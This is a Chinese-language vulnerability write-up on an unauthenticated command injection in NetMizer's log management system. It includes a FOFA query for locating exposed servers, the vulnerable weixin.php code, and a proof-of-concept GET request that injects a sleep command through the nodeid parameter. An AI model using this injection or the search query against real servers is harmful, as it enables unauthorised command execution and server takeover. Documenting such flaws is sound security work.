漏洞简介
NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具,能够高效采集、存储和分析网络设备及应用的日志数据。然而,该系统中的 /data/search/weixin.php 文件存在命令执行漏洞。未经身份验证的攻击者可以通过该漏洞在服务器端任意执行命令,写入后门程序,获取服务器权限,进而控制整个Web服务器。
影响版本
老旧版本
fofa语法
body="日志管理系统" && body="NetMizer"
漏洞分析
看下 weixin.php 业务实现关键逻辑部分
?php
include('../include/JSON.php');
$cmd = "/var/www/cgi-bin/search_wx";
$sqltable = "tbl_weixin_log";
list($year,$month,$day,$hour,$min,$second)=split(":| |-", $starttime);
$start_time = mktime($hour, $min, $second, $month,$day,$year);
$cmd .= " -s $start_time";
list($year,$month,$day,$hour,$min,$second)=split(":| |-", $stoptime);
$stop_time = mktime($hour, $min, $second, $month,$day,$year);
$cmd .= " -e $stop_time";
if($nodeid != ""){
$sql_nodeid = " and nodeid = ".ip2long($nodeid)." ";
$cmd .= " -n $nodeid";
} else $sql_nodeid = "";
$srcip = $src;
if($srcip == ""){
$srcid = "-1";
} else $srcid = ip2long($srcip);
if($srcid != "-1"){
$sql_srcid = " and src_addr = $srcid ";
$cmd .= " -S $srcid";
} else {
$sql_srcid = "";
}
$user = $username;
if($user != ""){
$sql_user = " and user_name = \"$user\" ";
$cmd .= " -u $user";
} else {
$sql_user = "";
}
if($uid != ""){
$sql_uid = " and wx_uid = $uid ";
$cmd .= " -q $uid";
} else {
$sql_uid = "";
}
if(!isset($start)) $start = 0;
if(!isset($limit)) $limit = 200;
$cmd .= " -f $start -t 100000";
if($action == 'file'){
//echo $cmd."\n";
$fp = @popen($cmd,"r");
if(!$fp){
echo '{"success":true,"info":"no data"}';
return;
}
多个用户可控且无过滤和校验的参数如 nodeid、username、uid 直接拼接进cmd命令中,然后使用popen执行命令,造成命令注入漏洞。
漏洞复现
漏洞利用示例
GET /data/search/weixin.php?action=file&nodeid=;sleep+3+%23+ HTTP/1.1
Host: netmizer.mrxn.net
成功执行 延时 3 秒


